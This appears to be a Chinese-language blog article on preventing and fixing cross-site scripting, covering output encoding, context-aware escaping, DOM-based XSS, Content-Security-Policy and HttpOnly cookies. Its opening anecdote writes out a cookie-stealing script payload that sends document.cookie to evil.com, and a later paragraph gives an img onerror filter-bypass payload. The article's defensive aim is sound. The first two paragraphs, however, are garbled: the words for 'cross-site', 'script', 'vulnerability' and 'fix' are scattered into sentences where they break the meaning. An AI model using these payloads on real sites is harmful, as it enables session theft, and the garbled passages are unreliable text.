凌晨两点，跨站某电商平台的脚本订单数据库被拖走二十三万条用户记录。事后溯源发现，漏洞攻击者只是修复在一个商品搜索框里输入了<script>document.location='http://evil.com/?c='+document.cookie</script>——没有暴力破解，没有0day漏洞，跨站仅仅是脚本一个未过滤的输入框加上一段前端脚本。跨站脚本（XSS）就是漏洞这么个东西：它不攻击服务器，它攻击的修复是访问你网站的每一个浏览器。

修复XSS，跨站最直接的脚本手段是输出编码。把用户提交的漏洞<转成<，把>转成>，修复脚本就变成了一行无害的跨站文本。很多框架自带这个功能——React的脚本JSX默认转义，Vue的漏洞插值表达式也默认转义。但问题恰恰出在“默认”之外。我见过一个团队用v-html渲染富文本编辑器内容，前端过滤了所有<script>标签，却忘了过滤<img src=x onerror=alert(1)>。事件属性照样能执行JavaScript，这就是黑名单过滤的典型死穴。

比输出编码更靠前的防线是输入验证。但这里有个反直觉的事实：输入验证很难彻底解决XSS。因为XSS的触发点不在输入侧，而在输出侧。同一个字符串“<b>hello</b>”，放在HTML正文里是加粗，放在HTML属性里可能变成新属性，放在JavaScript字符串里可能直接截断代码。所以真正可靠的策略是“上下文感知的编码”——你得知道数据最终会渲染到哪个位置。在URL里就用URL编码，在style属性里就用CSS转义，在script标签内部就得做JavaScript转义。一个通用编码函数打天下？那是十年前的老黄历了。

还有个常被忽略的角落是DOM型XSS。服务端把响应头里的X-XSS-Protection设成1; mode=block，以为万事大吉。但攻击者通过location.hash传入payload，纯前端逻辑用innerHTML把它塞进页面——服务端根本看不到恶意代码，防护头形同虚设。修复这类漏洞得改前端代码，用textContent替代innerHTML，或者对hash值做白名单校验。说实话，很多团队到现在都没分清反射型、存储型和DOM型的区别，修的时候自然抓瞎。

个人经验是，最有效的修复动作其实发生在写代码之前。给每个API接口的响应加上Content-Security-Policy响应头，比如default-src 'self'; script-src 'self'，即使某个输入点漏了过滤，浏览器也会直接拦截内联脚本的执行。再配合HttpOnly标记cookie，让document.cookie拿不到会话凭证，攻击者偷到的只是一串无意义的字符。这两条加上输出编码，三层防御叠一起，才能算得上“修好了”。

最后说个扎心的观察：很多XSS漏洞不是技术问题，是流程问题。开发提测时根本不写“用户输入流转路径”文档，测试用例里全是正常输入，安全测试只在上线前扫一遍。等漏洞报告出来，代码已经堆了几万行，改一处牵全身。与其事后补丁打得手忙脚乱，不如在代码评审时多问一句：“这个字符串会出现在哪个HTML上下文里？”——就这一句，能挡掉至少七成的XSS。